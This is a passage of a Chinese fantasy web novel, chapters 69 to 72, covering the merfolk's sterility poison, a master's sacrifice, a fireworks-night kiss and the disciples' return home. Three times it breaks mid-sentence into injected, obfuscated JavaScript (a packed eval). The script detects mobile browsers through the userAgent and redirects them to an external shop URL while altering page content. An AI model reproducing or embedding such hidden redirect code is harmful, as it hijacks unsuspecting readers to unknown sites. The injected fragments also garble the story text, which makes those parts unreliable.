石映心想到一只眼睛的唯唯,她在几百年前选择和一只眼睛的男人结婚,也许她之后生下了一只眼的孩子,自己的来世也变成了一只眼,甚至可能就是她孩子的孩子。 是因为她让一只眼遗传了吗? 泉芷走神地说到这里,揉揉眼睛回神来,语气轻松了一些:“其实我想,我们族人隐隐约约也有察觉了,不然为何这几十年生子的鲛人越来越少,有许多人都死在了二十生辰。” “也许……”泉芷对她苦笑道,“我也要死了吧。” “或者说……”她深呼一口气道,“再过几十年,世上便不会有鲛人了。” 这成了一个种族灭绝的问题,要曾换月在这就要哭天抢地喊可惜了,但石映心显然对这情况没有什么概念,她只是问:“我不想你死,没有其他办法吗?” 听到她这么说,泉芷有些开心,宽慰她道:“我不怕死。你知道吗映心,二十年其实也不短了,世上还有只活一天的蜉蝣,它们朝生暮死……” 石映心:“我又不认识它。” 泉芷:…… “映心,”她拉住她的手说,“我想要自由,我不想下辈子再被奇毒约束,更不想让所有应该自由的灵魂被拘禁在我们种族的牢狱里。不只是我,我大姨二姨三姨大表姐二表姐小表妹……她们都这么想,我们已经决定服下绝子毒。” 原来泉芷这几天在和鲛人们商量这事,大家都同意了? “先祖劈尾上岸,传法建功,繁衍子嗣,定是想我们鲛人一族昌盛兴旺、源远流长;可惜天不随人愿,竟让这错误传下来了……起始是不易,我没有先祖那般强大的神力,但我想……我们会有结束一切的勇气。” 瞧她坚定的笑容,石映心有些感触,不由得照了照她含泪的眼睛: 只觉得身处茫茫大海中,所有的恐惧和悲伤都很渺小;她只是一个鱼泡泡,在海水中轻飘飘地自由。 这就是拥有勇气的感觉吗? 石映心轻呼一口气,对泉芷点点头说:“你们鲛人族确实很强大。” 泉芷抹去眼泪笑出声来:“不管怎么说,我们都是先祖的后人!” “既然如此,我们快些双修吧,马上我便要回门派了。” “你还记得这事!”泉芷其实有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不行呀。”泉芷摇摇头道,“明日我便要服毒了,师父说要帮我疏通经脉,以免绝子毒让我不好受……我和你双修会被师父发现古怪的;再说我吃了新毒,也不知道对你有没有影响……” 她说到这事,石映心忽然想到那日安蔚然驱使神螺的画面:“对了,原来安宗主也是鲛人。” “是呀,”泉芷解释道,“师父原名泉蔚然,普天之下只有鲛人族姓泉,她为了隐瞒身份留在合欢宗,只好改了姓,和师父的师父,也就是我的师公姓。” “为何要隐瞒身份?” “鲛人族二十生辰后会修为大减一事许多人都知晓,身为一个门派的副宗主,怎么能只有金丹境界呢?师父为了留在合欢宗、用副宗主身份之便找解毒之法,只好隐瞒身份、出此下策……” 说到这泉芷朝她嘘了嘘:“知道这事的人不多,映心你要保密哦。” 石映心答应下来,又问:“那安宗主也生了孩子吗?” “嗯。”泉芷微微压低声音,“不过听说那孩子出生没多久就早夭了。说来我和师父也有些相像,听说我娘是在某此找解毒之法的途中意外去世了……嗐,师父一直待我很好,也许我们俩是在互相补偿吧?” 说到这她转悲为喜地笑道:“好在师父已经生过孩子,她能活得更久一些。” 石映心不知道怎么安慰她,只好点了点头。 69. 第 69 章 “映心,你要好好的,也不要为我伤心。也许等我来世我们还能再见呢?到时候你一定……能认出我吧?” 石映心睡前躺在床上又想起这句话,当时她是点了点头,但现在回想一下,自己也照不出一个人的前世啊,要怎么认出泉芷呢? 可见她眼中的期待,仿佛只是想得到一个虚假的承诺,就像安慰的话一般,真假都是这么说的。 所以她还是应下了。 隔日。 大伙一起用午膳的时候,曾换月说泉芷的鲛人亲戚们都回去了,她早上凑巧瞥见一眼,觉得她们脸色都不大好看,应是都服过毒了。 “唉,”说到这她叹息一声,“难道几十年后,世上真的不会再有鲛人了?还有泉芷,她真的只能……”说不下去。 顾梦真也感叹道:“也许这就是最好的结局了吧。我们应该为她们高兴才是,总算能摆脱奇毒的控制了,这是她们百年来的夙愿……” “梦真说得对,应要把目光放长远些,”明易平静道,“清除业障,来世才会更好。” 石映心吞下虾饺:“但是来世她便不是泉芷了。” 明易:“这不正是她所希望的吗?” 石映心想了想,那倒也是。 从我不是我,到我是我,也许这就是泉芷她们想要的自由。 用完膳,他们决定去看看泉芷的情况,顺便问问晚上烟火大会的事。先是在泉芷的屋前碰见了方翔,他说泉芷在安蔚然那;于是又去了副宗主的住处,却见赵有志蹲在门口,瞧着很失神的模样。 明易上前做扶状,却被他摆摆手拒绝:“你们来找泉芷?” “是。” “唉,”他叹气一声,“等等吧,蔚然正在帮她……调整体内毒素。” 大伙应了一声,就站在门口等。面面相觑着都有些奇怪,为什么这赵宗主看着无精打采的?但又不好意思问——主要是曾换月捂住了师姐的嘴巴不让她问。 几人耐心地等了一会,忽然听见里头传来泉芷的叫声:“师父!” 他们皆是一惊,纷纷将目光投向赵有志询问什么情况啊,但这人却还是摇头叹气,真叫人着急。 又一声:“师父——” 石映心一脚踹开屋门闯了进去,她师兄妹一边叫着“哎呀师妹(师姐)”一边紧跟着跳进去看情况。 几人进了屋,就见泉芷坐在床上,怀里抱着她师父,正流泪不止地痛哭着;他们看清景况后皆是一愣,只因早上见过还好好的安蔚然,此时靠在泉芷怀中,神情疲累、满头白丝,脸上多了许多可怖的青黑色纹路。 石映心等人压根不知道发生什么事了,只好变成木鸡呆在原地;泉芷哭得上气不接下气,自然不能勉强她解释一番。 这时候赵有志叹着气进来了:“唉,还是让蔚然炼成了禁术。” 泉芷崩溃地问:“宗主!我师父究竟怎么了?” 事已至此,还有什么不能说的呢? “其实你……你师父许久之前就猜想奇毒根本无法可解,她便想另辟蹊径,又从你们鲛人生子传毒一事中得了启发,觉得世上应有办法能让鲛人奇毒传给他人……于是东搜西罗,在古籍中找到了一种有概率可行的传毒禁术。” 赵有志看向安蔚然,长叹道:“她苦苦研究几年,总算习得此法,只待在你二十生辰前一试……只不过此禁术条件苛刻,需要血脉相连、且修习同脉双修之法的二人才可传毒,你们二人倒是符合的。唉……如今你身上的毒传到了你师父身上,便不怕短命了。” 可她不短命,谁短命呢? 听了来龙去脉,几人都很唏嘘。泉芷无法接受地抱着师父哭:“师父你何必呢?泉芷无用,多活这几十年又有何差别?” 安蔚然轻笑道:“我已然比你多活了几十年,自然知道有差别。你放心,我至少还有一年可活……还要教你和方翔许多事……” “师父,你快把禁术传授于我,我要把毒拿回来!” “傻瓜,”安蔚然无奈地擦去她一小片眼泪,“禁术对每人仅有一次效用,且不是那么容易习得。我们族人苦寻解毒之法一辈子,便是不想听天由命,如今……我也算是逆天而行,死而无憾了。” 泉芷泣不成声:“可你要我怎么办?你要我怎么办……” 安蔚然道:“为我们鲛人族、为合欢宗倾注心血,为你延长寿命,我此生的成就便到此为止了。小芷,你还年轻,你能比我做得更多……” “师父,我只想救你……” “别说傻话。”安蔚然竭力地握住徒儿被泪水打湿的手,一字一句道,“你还要替我……走遍八大洲、天涯海角,找到让我们鲛人族血脉延续的办法……在那之后我们再做大海的女儿……好好地活……” 话音渐消,安蔚然力竭地晕睡了过去。 “师父……师父……”泉芷压低声音喃喃道,“你太为难小芷了……” 众人都感到很悲伤,曾换月和顾梦真都已经在抹眼泪了。赵有志擦去泪花说:“好了,都出去吧,让副宗主好好歇息,人还没死呢,都别哭哭啼啼的了。” 大家只好出门还清静。泉芷已经魂不守舍的了,几句安慰的话都显得轻飘飘,无奈只好让她自己待着静一静。 赵有志问他们什么时候走,明易说明日就走,他又叹气道:“哦,这么快就走了。有你们在,我这几日格外热闹。” 几人:…… 看他憔悴的神色,有些分不清说的是真话假话。 赵有志:“我叫弟子备些特产给你们带回去,日后有空再来玩吧。” 连连点头说好,多谢赵宗主了。 师兄妹四人聚在屋里,气氛很沉闷。曾换月双眼红红,哼了哼鼻涕道:“世上没有两全法,好消息是泉芷不会死了,坏消息是安宗主要死了,呜呜呜!她们都太可怜了……” “唉。”顾梦真叹气说,“我倒是能理解安宗主的做法……这奇毒真是害人那。” 石映心道:“不过安宗主说的……让鲛人族血脉延续的办法是什么意思?” 曾换月猜测道:“应是她想让泉芷去找能让鲛人族继续存在但血脉却不带奇毒的办法……嗐,这不又是一道千古难题了吗?” “我想安宗主只是想让泉芷有个活下去的动力吧,”顾梦真这么想,“毕竟如果只是单纯地活着,泉芷会有很大的压力;得给她找个事干,最好让她觉得自己活着很有意 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曾换月有些激动道:“但这样也算是一种血脉延续的办法啊!就算是新的鲛人也是鲛人……不过写这本书的人居然连这都知道,太厉害了!作者是谁?” 关于这个简单的问题,明易却诡异地顿了顿,然后把书翻到封面上:“作者无名。” 不过书名还是有的,而且大家都看见了,叫《胡说》。 师兄妹几人:…… 起码起个有可信度一点的名字啊这位无名人士。 “呵呵,”曾换月露出一个忍不住无语的笑,“不管怎么说,我们先把这个线索告诉泉芷吧……” 顾梦真已经开始琢磨起来:“如果真的存在神泉,且她能在安宗主仙逝之前找到,也许安宗主的魂魄能以此重塑肉身……这何尝不是另一种活着呢?” 石映心听大家说得很有道理,立即站起来道:“我现在就去。” 拿着书就走了,动作快到她师兄师妹都没反应过来。 石映心把书交给眼眶红红的泉芷,简单说明了情况,泉芷哭得头晕,显然听得云里雾里的,不过还是抱着书和她道谢。 没眼力见的某人又问晚上的烟火大会你去吗,泉芷很歉疚地说不去了。石映心倒没勉强她,离开前让她好好休息。 回去的路上还碰到了方翔,二人简单打了招呼,石映心看他也是一副灵魂出窍的模样,没说几句就告辞了。 告辞了方翔她才回过味来,对她来说安宗主只是个认识的陌生人,自然不及泉芷重要;但对泉芷和方翔来说,安宗主是养育教导他们长大的师父……设身处地想一想,如果她的师父也快死了……(慕雲:呸呸呸) 石映心便忧愁起来。 回到住处,换月她们已经回去了,石映心坐在桌边发了会呆,突然想起什么拿出因果牌看了看,牌面空无一字,很干净。 是了,鲛人族已经服了毒…… 她牵起嘴角笑了笑,觉得这一切都没错。 就算流了许多血……就算要死许多人……但活着不代表对,死亡也不全是悲剧。 现下的悲伤都是短暂的,哪怕无法抛去。 70. 第 70 章 皓月当空。 沙滩上很热闹,长长两条的摊位横在岸边,张灯结彩很辉煌,映在安分的海面上一片片游彩。远远走来就听见许多高兴的乐曲,伴着晚风吹水花的声音,有种别样的风情。 合欢宗的海边集市和她们靠山吃山的归壹派自然有很多区别,比如卖的东西大有不同,像是一些彩色海螺珊瑚制品,还有各种各样的鱼骨。卖鱼骨的摊位会把一副大鱼骨高高地挂起来,这当然是不卖的,只是炫耀自己曾钓过此等巨鱼。 在这类摊位边上一般还有争执声,比如:“这么大鱼骨假的吧?一看就是仿制的”“呸你个钓不到大鱼说鱼假的,我告诉你我可是留了影的”“谁要看了真无聊谁知道是不是用法术抓的鱼”“老娘就是钓上来的”……诸如此类。 还有一些贝壳、珍珠做的首饰,用的是银料子,上头还洒了金粉银粉,在夜色中转一转就会熠熠发光。什么发簪、颈饰,手环应有尽有,还有单纯摆着看的小玩意,个个都很精致。 顾梦真问了价格,居然和他们山上的木首饰差不多,他就打算多买一些带回去,到时候涨价卖给女同门肯定很有市场,再涨更高价卖给男同门让他们送女弟子嘿嘿嘿嘿。 不远处,曾换月挤在一群女弟子之间,打开书摊上一本据说销量很高的话本《靓仔好逑》,打算观摩学习。 翻开见第一章写到:“……此时茶楼中走出一位风度翩翩、容貌好顶的俊男,边上有人惊呼道:‘哇,个靓仔好正呀!’有一俏丽靓女迎上前,双颊羞红道:‘郝公子,我知中意你嘅人很多,唔缺我一个,之不过……’” 曾换月:…… 唔系吖嘛,有冇国语版的? 一个来进货,一个来学习,四人逛着逛着就不见了两人。石映心停在一个卖铜镜的摊位前,这些镜子上粘了一些珍珠贝壳珊瑚和通草花做装饰,每一面看起来都精美华贵。 她随手拿起一面看了看,从镜子中和身后的大师兄四目交汇。 摊主乐呵呵地招呼道:“你们是归壹派的弟子吧?摊上的镜子每个都是我亲手做的,这些材料也是海边独有,买回去摆在梳妆台上看着多赏心悦目呀。离了这村可没这店了哦!” 石映心确实没见过,所以才好奇地拿起来看,但其实也没买的意思。她大师兄在边上问:“多少一面?” “大镜子二十灵石,小镜子十五灵石。” 这溢价倒也能接受。明易便问师妹:“你喜欢吗?” 石映心本想摇头,却忽然顿了顿说:“我要买一面给师父。” 说着就掏兜付钱了。明易倒是有些诧异地看着她,没想到她会想到这一层。若放在先前,她只会很简单地想“我喜不喜欢”,然后就是“我买不买”,很少再多想一层。 除非平时得了什么宝贝和奖赏,已经拥有了,她才会在此基础上想“有没有用”和“师父她们有用吗”,有用的话给,没用的话就囤着。 想到这,他又不得不想起那个玄猫木雕,他当时怎么也想不到这会是她亲手做的……还做得那么认真。 “大师兄,我买好了。”石映心见他在发呆,出声提醒。 “……嗯,走吧。” 一路逛下去,又买了炸鱿鱼和煎食追,前边就走到头了,二人便寻了个清静的地方坐下吃东西。 石映心吃得满嘴流油,她师兄沉默地坐在边上,偶尔瞅她一眼,没什么表情的脸瞧不出情绪。石映心平时和二师兄小师妹吃好吃的东西都是抢着吃的,大师兄这么安分她就有些不习惯,主动夹了一块煎石追递过去:“大师兄你吃不吃?” 大师兄:“我不吃。” “哦。”又问,“大师兄你喜欢吃什么?” “没什么特别喜欢的。” “哦。”想了想道,“你不喜欢吃东西?” “不喜欢。” 大师兄真是和她们不一样的,石映心想,像师父喜欢喝酒,她和换月二师兄喜欢吃东西,换月还喜欢看话本,二师兄则是喜欢赚钱……大师兄只喜欢修炼,但是修炼是不喜欢也要做的事,怎么能算是喜好呢? 吃完好吃的,石映心给嘴巴使了澄净诀,这下嘴里就干干净净没味道了。 看她吃好了,明易才问:“方才怎么想到要给师父带镜子?” 石映心说:“今日瞧见泉芷和方大哥因为安宗主很伤心,我想安宗主是待她们很好的。师父也待我很好,如果我是泉芷,也不愿意师父这么救我;但我不是泉芷,我高兴安宗主救了她。不过……这高兴中好像有些害怕。” “更奇怪的是,明明是其他人的事,我却总想到师父。师父常常替我赔钱,但前段日子我要还她钱她却不收,我想就买些礼物送给她好了,我先前送的礼物师父都会收的。” 明易其实惊讶她会感到这么复杂的感情,看她竟然带了些茫然的忧愁的面容,失言笑了一声:“原来你也没那么笨。” 石映心:? 她还不解起来:“我怎么会笨呢?” 明易却是笑着转过脸看海,不回答她。 石映心瞪着眼睛看大师兄等回答,但迟迟没等到,直到“咻”的一声,空中升起了引线,很快在夜幕中炸开一朵烟花。紧接着便是第二朵第三朵……拉开寂静的夜幕。 她们在山上也放过烟花,不过和海边是不同的,天上相继绽开的艳丽纷纷倒映在海面上,粼粼水光映照出清冷的绚烂;夜色中海与天仿佛是一体,视线尽头的尾焰落入水中,两片天地便在此交融。 石映心看见大师兄的侧脸被五彩的光照亮,他面色难得有些轻松,眉目舒畅、唇角微翘,似乎心情不错。高挺的鼻梁上有温润的光影,双眸中亮着不知是空中还是海上的烟火。 按理来说这时候应该看烟花的,但是大师兄怎么这么……吸引她视线呢? 她不知道为什么会看着他,很多时候她完全想不到“为什么”这一层,只是被本能趋势着这么做了。 要是问她,她最多会答“大师兄好看”。 明易感受到她的目不转睛,转头微一挑眉道:“看我做什么,我脸上有烟火?” 他就见石映心呆呆地眨了下眼睛,似乎回过神了却依旧这般直勾勾盯着他,真是奇怪的家伙;但更奇怪的是他一对视上她的眼睛,莫名也问不出什么话了,只能与她这么四目相对着,耳边放烟火的响声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15999870|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、远处人群的吵闹,一瞬间隔了好远。 她……在想什么? 石映心其实是有想一些事情的,但这些想法都游离在她的意识之外,于是很无意义:一会儿是大师兄怎么这么好看,一会儿是大师兄这么好看怎么回事,一会儿是大师兄刚刚问了什么来着,一会儿是大师兄在想什么呢好想照照看,一会儿是…… 咦,大师兄的黑镜好像坏了。 她能照了。 这瞬间福至心灵,于是镜灵不假思索地眨了下眼睛。 咻—— 烟火升起,石映心挨身而去,合了眼睛,轻轻吻上她视线中的双唇。 砰—— 脑花炸了,所有的血液沸腾膨胀,经脉呼之欲裂,却又在瞬间凝滞。 噼里啪啦—— 石映心回神,微微退了一些身子,睁开眼睛和她大师兄四目相对着。二人的表情十分相似,只是一人多是茫然,一人多是惊诧。 总之是石映心先反应过来,“啪”的给了她大师兄一巴掌。 她扇得不轻不重,正好在放烟花的夹缝中发出一声清脆的响,正好把明易的头扇到了一边,正好让他糊涂的脑子清醒了一点,转过来惊愕道:“石映心!你——” 石映心眉头一皱,不解道:“大师兄,你为什么要亲我?” 明易:!? “……是谁亲……”话语声又戛然而止在她再次的亲吻中。 “啪。”接着他又挨了一巴掌。 石映心:“怎么又亲?” 明易:………… 无法可想就是他现在的脑子,他简直不知作何反应,压根不明白该怎么办,只是忍下所有澎湃的情绪,一双冒红的眼瞪住罪魁祸首,咬牙切齿地问:“石映心,你到底想做什么?” 石映心还觉得无辜呢,但比起她大师兄压抑下的情绪,她的不解和茫然都很浅,像是浮在海面上的游光。 她问:“大师兄,你为什么亲我?” 明易觉得她简直荒唐:“是你亲了我!” 石映心无辜地看着他,坦诚地解释道:“我照了你,是你要亲我我才亲的你。” 照…… 照谁? 他只觉得脑子轰的一声,真是被天雷劈中了,竟失态道:“胡说!” 石映心从没见过他这样慌张的态度,也是很诧异:“我没胡说。你不信我再照你就是……” 话音未落,额间被猝不及防地冰冷一点,镜灵便晕了过去。 明易看着倒在他肩上的人,随着他急促的呼吸而微微起伏的睡脸,久久回不过神来。 他颤抖的手指缓慢抚上了自己的双唇,方才的触感那么虚幻但已挥之不去,这两片肉僵在那不知所措,好似已经脱离本体,不再属于他了。 这一切……他该怎么反应? 是该想她的吻,她的巴掌,还是她质问他时那清澈好奇的目光;不,应是先想他自己……她照了他,她亲了他……可他为什么想亲她? 难道是…… 直到今晚烟火燃尽,远处的喧嚣归于寂静,海面上只留下得闲的月亮,岸上相依偎的身影才悄然不见。 71. 第 71 章 石映心一觉醒来,觉得脑子有些晕乎乎,不过很快便恢复了,她便没多在意。 她想起今日要回门派了,心情就高兴了一些,收拾行囊的时候忽然觉得自己好像忘了什么,疑惑之中发了会呆,但怎么也想不起来,便甩甩脑袋不想去在意。 不多久她收拾好行李去找师妹,她正在屋子里胡乱收拾着,见她来了便说:“师姐你醒啦,你昨晚怎么又喝酒了?大师兄送你回来的时候看着有些不高兴呢。” 她昨晚喝酒了?石映心没印象:“是吗?大师兄呢?” “噢噢,大师兄先回门派了。”曾换月一边把新买的话本收起来一边道,“今早上地府派鬼差来了解禁地的情况,和两位宗主密谈了一会,又要去我们门派找掌门师公……好似事情有些严重呢,师公送信来让他赶紧回去。” 原来是这样,石映心点点头,忽然话锋一转:“昨晚……在我喝醉之后有没有发生什么重要的事?” “重要的事?”曾换月歪歪脑袋,“没有呀。怎么了?” “没什么……我总觉得我好像忘了什么。” 曾换月哈哈笑起来:“师姐,喝醉的人醒后就是这样,这叫断片!意思就是把喝醉之后的事情都忘了。你先前照了师父和赵宗主就晕了过去,估计昨晚也差不多吧。” 石映心觉得她说得有几分道理:“嗯……” “师姐,你以后还是别喝酒了,我昨晚看大师兄真的有些生气呢,估计是你犯事惹麻烦喽,嘿嘿。” “……哦。”这声就有些心虚了。 临走前,自然要去和泉芷道别。 和昨日的伤心欲绝相比,泉芷这会已经缓过神来,除了双眼通红、面色还有些憔悴之外,精神倒是不错。瞧见石映心三人时眼里还亮了光,迎上来道:“唉,你们要走了,我实在是舍不得。” 石映心点了点头问:“那本书你看过了?” “看过了,真是多谢你们。”她扬起一个真心的笑,“虽说书上记载寥寥,但总归是一线希望,不日我便要去昆仑山,一定会在一年之内找到神泉……你们要等我好消息!” 石映心:“好。” “你可以的泉芷!”曾换月比了个加油打气的手势,“到时候再来我们归壹派玩哦,我们招待你。” 顾梦真连连点头:“是啊是啊,十里不同风,百里不同俗,我们归壹派也有许多好玩的,你就来吧!” 泉芷感激一笑:“好,等我找到神泉就去归壹派找你们……一言为定。” “一言为定。” 人生路漫漫,漫漫亦灿灿,那就在此许下约定,期待再会吧。 * 在合欢宗待了大半月,水土不服也服了,合欢宗驿站已经修好,传送回归壹派山脚只需一刻钟,一出传送阵几人被袭来的冷空气吹得打颤,感到一些不真实的恍惚。 “天,往常这时候山上已经这么冷了吗?”顾梦真搓搓胳膊道,“合欢宗白日还热着呢。” 她们都没带厚衣服出来,曾换月发起抖来:“系啊,给我冷哆嗦喇,赶紧上山吖!” 顾梦真:“啊?哦……” 怎么感觉哪里怪怪的。 回到山上,第一时间是去递交因果牌,顾梦真在万事堂跑进去跑出来气都没喘匀,迫不及待地就要清点奖赏,他两个师妹却都没兴趣,挥挥手就说你看着办吧,她俩先去看师父了。 顾梦真连忙跟上:“别呀,一起去嘛!” 来到云雨峰,慕雲却是不在,她们便猜想是和地府来的鬼差有关,估计这会正在和大师兄、掌门师公一起说话?几人就打算先回自个窝里休整一下,晚些时候再过来。 用晚膳时又来了一趟,这会是见到师父了,就是瞧着有些头大的模样,坐在那撑着下巴,眉头微蹙,好似有些烦心呢。 三个走进去问好。慕雲见了三个崽子,脸色转阴为晴道:“哎呦,回来啦?” 曾换月笑嘻嘻道:“是啊师父,你是不是很想我们?” 慕雲呵道:“我现下就有些怀念你们几个不在时的清净了。说吧,这次出去又给为师惹了什么麻烦?” 曾换月撇嘴:“哪有惹麻烦?” 慕雲呵呵道:“你还好意思说?我还没和你算私自下山的破账!” 这下曾换月总算想起来了,先前只记得完成任务和总算回家了的喜事,当初私自下山的罪过早被她抛去脑后了。顿时脸上一哭,呜呜地躲去她师姐的背后:“师父你就别罚我了,我也是好心帮师姐她们做任务,没有功劳也有苦劳啊……” 慕雲呵呵呵道:“一码归一码哈。我看挨板子你也不长记性,这样好了,你去抄门规一百回,三日后给我。” “什么!?”这怎么作弊啊! 顾梦真这回自觉无错,幸灾乐祸道:“她还差点毁了我的星月葫芦,又让映心溺水了!” 曾换月心虚嚷道:“师姐和葫芦这不都没事吗!” “没事也招了麻烦。” “二师兄你也太小气了,师姐都没说什么!” “你日日就知道糊弄映心,她都被你教坏了!这次居然还帮你为虎作伥。师父,你不要放过小师妹啊!” “你!你也半斤八两!” “谁跟你半斤八两……” …… 石映心被二人挤在中间,默默地捂住了耳朵。 慕雲已经不堪其扰,大喝道:“够了!都给我安静——” 二人总算闭上嘴巴,在那吹胡子瞪眼。石映心揉揉耳朵问道:“师父,大师兄呢?” “哦,他啊。”慕雲喝茶,“方才在和你师公还有幽都来的那个黑小子说合欢宗禁地的事,不过一些事宜还要等妽荼仙尊回来再谈……这会应该在招待黑小子在我们门派中做客吧。” “黑小子?”石映心想了想,“是天下太平吗?” 慕雲:“天下太平是什么?” 曾换月先记起来:“黑无常,是不是黑无常啊?” 慕雲:“对,就是他。” 顾梦真奇怪道:“合欢宗禁地为何会引起幽都的重视?这个黑无常早上已经去了合欢宗,又跟到我们归壹派来,还要惊动妽荼仙尊……” “我过去听了个大概,”慕雲给徒弟们解释,“明易在禁地中发现马懿的记载日志,说是这禁地困住了一百多号人口,几百年来自成轮回体系,已经脱离了地府的管辖;这些人死了再生,生了又死,始终在禁地中出不去……” 听到这,顾梦真大惊:“竟已超脱了规天矩地!那鲛人先祖有这么大本事……” “所以此事才引起了幽都的重视。”慕雲手一摊,目光一一打量过三个弟子,瞧着都很精神,似乎还胖了一些,“你们在禁地中没遇到什么危险?” 顾梦真说没有啊,除了有些糊里糊涂的,其他倒是没什么;曾换月道你当然没什么了那些村民都被师姐杀光了。顾梦真夸了句映心真厉害,心里嘿嘿地想:和映心大师兄一同下山就是有这样的好处。 慕雲惊讶徒弟在禁地中杀人了,问她发生了何事,石映心就把照泉绮的事简而告知;这时候顾梦真和曾换月就说她们都没遇见泉绮呢,只看见了李二婷。 慕雲很快发现古怪,便回想了明易的说辞,发现大徒弟也没碰见,那就是只有映心和泉芷见过泉绮;可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16008654|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉芷是鲛人族,泉绮特来一见倒也正常,为什么映心也…… 她思酌的时候,徒弟们也在嘀咕。曾换月道:“其实泉绮也想了结秘境吧,不然也不会特地找到师姐,可她为什么不直接说呢?” “这倒好解释,你见过出题的人主动告诉你如何解题的吗?自然是靠悟了,估计泉绮的这缕残魂根本无法说破镜之法,好在是遇见了映心,只要她一……”说到这顾梦真“唔”了一声,眉头一皱:“咦?可是不对呀,连泉芷都不知道映心是镜灵,为什么泉绮知道呢?” 三人纷纷抬眼看向不知何时开始捞桌上东西吃的某人。 石映心早就心不在焉了,眼里只有甜甜果。 师父问:“映心,泉绮和你说了什么?” 好像是说了什么,但是:“不记得了。” “映心也不靠谱。”二师兄摇摇脑袋说,“那可是鲛人族的先祖,指不定和你说了一些难得的机遇良缘呢?” 石映心想了想:“没什么特别的……她还无故骂我蠢、油盐不进……” 三人:? “说我终有一天会明白什么……但她又不说明白,就叫我用帝血剑杀了她。” 三人:?? “我本想多问几句,可是听了她的毒音,着了她的道,一挥剑就把她杀了。” 三人:??? 真是莫名其妙又信息量好大的三句话。她们自觉在经常搞错重点的笨映心身上问不出什么更重要的信息了,再多议也是无用;曾换月又叽里呱啦地说了后续泉芷和安蔚然的事,听得慕雲也很唏嘘。 好在是说到这了,石映心想起来自己给师父买了礼物,将镜子拿了出来。 慕雲稀奇地接过来,看看精致的镜子又看看徒弟,眉尾一落,有些感动道:“映心,难为你在外头玩还想着为师……” 这确实是可喜的进步,她往常只会在闯祸之后才会闪过师父骂骂咧咧的面容,比如需要赔钱的时候…… 石映心乖巧地点点头:“师父你喜欢吗?” “哦呦。”慕雲又是一惊,“你还会问我喜欢不喜欢了。” 二师兄跳过来说:“怎么回事?映心上次送我她种死的灵花的时候都没问我喜欢不喜欢!” 石映心转头看他:“二师兄你不喜欢吗?” “……也不是不喜欢啦,就是……额……”就是不知道你到底送这个是什么目的呢? 石映心看着支支吾吾的二师兄:就是什么? 曾换月拿着镜子打量起来:“这镜子真好看,在我们山上可买不到。这是我见过师姐送过的最像样的礼物了,师父你就偷着乐吧!” 石映心看着满脸感慨的小师妹:……最像样? 这会又想起莫默师兄的话,她不得不冒出一些疑问:难道她真的不会送礼吗? “偷着乐做什么,我要明着乐。”慕雲把镜子拿回来,满意道,“等会就把我那面旧的给换下来。” 又瞥了不省心还没眼力见的两个:“你们两个也买了不少玩意吧?怎么没记得给为师带点?” 买了一大堆拿不出手的话本的曾换月:“有啊有啊,忘在窝里了,明天带来哈!” 师父一眼拆穿:“呵呵,尽是些谈情说爱的话本是吧?” “这个这个……” 买了一大堆要倒卖的首饰自以为拿得出手的顾梦真:“我当然记得了,我给师父您买了一些发簪手链颈饰……” 师父二眼拆穿:“得了吧你,我平时压根不用这些,倒不如之后赚了灵石分我些!” “应该的应该的……” 没想到还会被映心坑了一把。 72. 第 72 章 迟钝如石映心,如果不是小师妹的无心之言,还没意识到大师兄在躲着她呢。 事情是这样的,从合欢宗回来之后,石映心休息了两日便开始继续去黑竹林练剑,往常偶然会来陪她练剑的大师兄连着几日都没来,她虽有疑虑,但想到大师兄平日很忙,再加上要处理禁地的后事,不来也是正常的,便没多在意。 她倒是和范无咎偶然遇见过一回,在东膳堂里,对方嘴巴里塞着东西还没咽下,眼睛鼓鼓地瞪着她走来。 石映心谨记师父师兄的礼数教育,遇到认识的人尤其是年长的前辈要问好。她又不是记仇的人(主要是有仇一般早报了),于是上去和范无咎打招呼:“范道友,你还没走。” 范无咎努力咀嚼:“唔啊唔唔大大?”谁跟你是道友? 石映心转头看看:“师父说大师兄这几日在忙着应付你,都没有时间和我练剑了……我大师兄呢?” 范无咎也到处看了看:“捂捂?啊恩啊踩得。”明易?方才还在的。 石映心眉头一皱:“怪不得师父和我说用膳时不要说话,确实一字都听不懂。”说罢转头走了。 范无咎把难咽又黏嘴的炒年糕吞下去,冲着她的背影叫道:“你故意的是不是!喂,石映心——” 这个时候还没觉得怎么样。 两月一回的集市过后,顾梦真靠合欢宗的特产首饰赚了好大一笔,独乐乐不如众乐乐,这只铁公鸡居然要请大伙吃饭,说是顺便庆祝首次任务告捷,大家都很高兴地应邀了。 地点是在他的林夕洞,原本堆积着许多杂物(顾梦真:宝器!)的院子难得被打理干净,看起来宽敞不少;院中间拼起来两张桌子,上边摆了许多佳肴,还有少数美酒。 入夜后山上有些冷,桌子边上放着两个火桶,火桶上又横了一个烧烤架,就可以一边照明取暖一边烧烤。除了师兄师妹,他还找来了莫默晴雯等人,场面很热闹。 